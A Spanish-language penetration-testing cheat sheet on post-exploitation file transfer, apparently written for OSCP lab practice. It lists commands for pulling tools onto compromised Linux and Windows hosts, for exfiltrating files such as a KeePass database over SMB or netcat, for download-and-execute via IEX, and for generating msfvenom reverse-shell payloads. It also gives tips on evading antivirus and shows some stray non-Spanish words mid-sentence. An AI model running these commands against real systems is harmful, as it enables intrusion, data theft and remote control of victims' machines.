> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/post-exploitation/file-transfer.md).

# Transferencia de archivos

La transferencia de archivos suele ser uno de los primeros problemas prácticos después de conseguir un punto de apoyo: mover herramientas hacia dentro, sacar pruebas hacia fuera y hacerlo mediante cualquier protocolo que permita la red objetivo. Mantenga varios métodos listos porque HTTP, SMB, FTP, PowerShell y Netcat se bloquean de forma diferente en distintos entornos.

{% hint style="info" %}
Prefiera la transferencia más simple que funcione, valide los hashes cuando la integridad sea importante y elimine los cargas útiles, recursos compartidos y escuchas temporales cuando termine la tarea.
{% endhint %}

## Tabla rápida de decisión

| Situación                                               | Buena primera opción                                     | Alternativas                |
| ------------------------------------------------------- | -------------------------------------------------------- | --------------------------- |
| El objetivo Linux puede الوصول al HTTP del atacante     | Servidor HTTP de Python + `wget`/`curl`                  | SCP, Netcat, Base64         |
| El objetivo Windows puede alcanzar el HTTP del atacante | Servidor HTTP de Python + PowerShell                     | `certutil`, SMB, FTP        |
| El objetivo Windows puede alcanzar SMB                  | Impacket `smbserver.py`                                  | HTTP, FTP                   |
| Necesita exfiltrar de Windows a Linux                   | Recurso compartido SMB con soporte de escritura          | Netcat, Base64              |
| Archivo de texto muy pequeño                            | Copiar y pegar en Base64                                 | Netcat                      |
| Egreso restringido                                      | Pruebe puertos comunes permitidos como `80`, `443`o `53` | Pivotar o tunelizar primero |

## Transferencias al objetivo Linux

### `Wget`

```bash
python3 -m http.server 8000
wget http://10.10.11.1:8000/file.pdf
```

### **`Curl:`**

```bash
python3 -m http.server 1234
curl -O http://10.10.11.25:1234/file.pdf
```

### `Netcat`

Primero el receptor:

```bash
nc -lvp 4444 > file.pdf
```

Emisor:

```bash
cat file.pdf | nc 10.10.11.25 4444
```

### `Scp:`

Desde el servidor de origen:

```bash
scp /ruta/al/archivo usuario@10.10.11.25:/ruta/de/destino
```

Desde el servidor de destino:

```bash
scp usuario@10.10.11.1:/ruta/al/archivo /ruta/de/destino
```

## Transferencias de Linux a Windows

### Servidor SMB

SMB suele ser la ruta de transferencia de Kali a Windows más fiable cuando el puerto `445` está accesible.

En Kali:

```bash
smbserver.py share_name . -smb2support
```

Si Windows requiere autenticación:

```bash
smbserver.py share_name . -smb2support -username user -password password
```

En Windows:

```powershell
copy \\10.10.14.10\share_name\file.exe C:\Temp\file.exe
```

### Servidor HTTP

En Kali:

```bash
python3 -m http.server 8000
```

En Windows con PowerShell:

```powershell
Invoke-WebRequest -Uri "http://10.10.14.10:8000/file.exe" -OutFile "C:\Temp\file.exe"
```

Cliente alternativo de PowerShell:

```powershell
(New-Object System.Net.WebClient).DownloadFile("http://10.10.14.10:8000/file.exe", "C:\Temp\file.exe")
```

Usando `certutil`:

```powershell
certutil -urlcache -split -f "http://10.10.14.10:8000/file.exe" C:\Temp\file.exe
```

### Servidor FTP

FTP es útil cuando HTTP/SMB está restringido pero se अनुमति FTP saliente.

En Kali:

```bash
sudo apt update
sudo apt install python3-pyftpdlib
python3 -m pyftpdlib -p 21 --write
```

En Windows, cree un pequeño archivo de comandos FTP:

```powershell
echo open 10.10.14.10 21> ftp_commands.txt
echo anonymous>> ftp_commands.txt
echo password>> ftp_commands.txt
echo binary>> ftp_commands.txt
echo get file.exe>> ftp_commands.txt
echo bye>> ftp_commands.txt
ftp -s:ftp_commands.txt
```

## Transferencias al objetivo Windows

### `Certutil`

```powershell
python3 -m http.server 80
certutil.exe -f -urlcache -split http://10.10.10.10/shell.exe
```

### `Invoke-WebRequest`

```powershell
python3 -m http.server 80
Invoke-WebRequest -Uri "http://10.10.10.10/file.exe" -OutFile "file.exe"
```

### `IEX (Invoke-Expression)`

```powershell
python3 -m http.server 80
IEX(New-object Net.WebClient).downloadString('http://10.10.10.10/file')
```

### `Subir archivo`

Debe asegurarse de que los archivos estén en el directorio apropiado para que el servidor pueda acceder a ellos. Use el siguiente comando para realizar la subida

```bash
upload /home/jordan/Desktop/htb/return/content/nc.exe
```

### `Compartición de archivos SMB`

```bash
smbserver.py share $(pwd) -smb2support
```

Luego acceda a su recurso compartido SMB en la siguiente dirección:

```powershell
copy \\10.10.10.10\share\file C:\Temp\file
```

## Transferencia de archivos de Windows a Linux

### Subida por SMB

Inicie un recurso compartido SMB con autenticación y soporte SMB2:

```bash
smbserver.py -smb2support -username user -password password share_name /tmp/share
```

Desde el objetivo Windows, copie el archivo al recurso compartido SMB del atacante:

```powershell
copy C:\Users\kohsuke\Documents\CEH.kdbx \\10.10.14.9\share_name\
```

<figure><img src="/files/2928f94bb69dcfaaa6c8cdcbb4f004f61d950e2b" alt=""><figcaption></figcaption></figure>

### Exfiltración con Netcat

En Linux, escuche y escriba los bytes entrantes en un archivo:

```bash
nc -nlvp 4444 > received_file.txt
```

En Windows:

```powershell
type C:\path\to\file.txt | nc.exe 10.10.14.10 4444
```

### Base64 para archivos pequeños

En Windows:

```powershell
certutil -encode C:\path\to\file.txt encoded.b64
type encoded.b64
```

En Linux, pegue el contenido codificado y decódelo:

```bash
echo "PASTE_BASE64_HERE" | base64 -d > file.txt
```

## Notas sobre preparación de cargas útiles

La generación de cargas útiles pertenece a las herramientas de explotación, pero es útil mantener cerca de las notas de transferencia de archivos los formatos de preparación más comunes.

Ejemplos para Windows:

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f exe -o reverse.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f psh -o reverse.ps1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f dll -o reverse.dll
```

Ejemplos para Linux:

```bash
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f elf -o reverse
msfvenom -p cmd/unix/reverse_python LHOST=10.10.14.10 LPORT=443 -f raw -o reverse.py
```

Escuchador:

```bash
nc -nvlp 443
```

## Consejos de flujo de trabajo para OSCP

1. Prepare los métodos HTTP, SMB, Netcat, FTP y Base64 antes de empezar.
2. Pruebe el escuchador y la ruta de la carga útil antes de subirla.
3. Utilice puertos que probablemente estén permitidos por la red objetivo, como `80`, `443`o `53`.
4. Mantenga listo un pequeño directorio de cargas útiles/herramientas para evitar reconstruir los mismos archivos repetidamente.
5. Tenga en cuenta que el antivirus puede bloquear las cargas útiles o los métodos de transferencia; cambie de protocolo o formato cuando sea necesario.
6. Limpie las herramientas temporales, las cargas útiles, los scripts FTP, los recursos compartidos SMB y los archivos preparados después de la validación.

## Resolución de problemas

| Problema                                     | Comprobaciones                                                                                                                    |
| -------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------- |
| Conexión SMB rechazada                       | Ejecuta `smbserver.py` con privilegios suficientes, confirme el puerto `445`y pruebe `-smb2support`.                              |
| Windows no puede acceder a SMB               | Pruebe los indicadores de autenticación, revise las reglas del cortafuegos o cambie a HTTP.                                       |
| La descarga HTTP falla                       | Confirme que el objetivo puede alcanzar la IP del atacante y que el archivo está en el directorio servido.                        |
| PowerShell bloqueado                         | Pruebe `certutil`SMB, FTP o una ruta de descarga living-off-the-land permitida por la política.                                   |
| El antivirus elimina la carga útil           | Transfiera primero un archivo de prueba inocuo y luego ajuste el formato de la carga útil, la preparación o el método de entrega. |
| Permiso denegado después de la transferencia | Utilice `chmod +x` en Linux o revise las ACL de Windows con `icacls`.                                                             |
| La subida a SMB falla                        | Inicie el recurso compartido con una ruta escribible y credenciales, y luego vuelva a probar con un archivo de texto pequeño.     |

## Limpiar

```bash
rm -f reverse reverse.exe reverse.ps1 reverse.dll
rm -f ftp_commands.txt encoded.b64 received_file.txt
```

En Windows:

```powershell
del C:\Temp\file.exe
del C:\Temp\reverse.exe
del ftp_commands.txt
certutil -urlcache * delete
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/post-exploitation/file-transfer.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
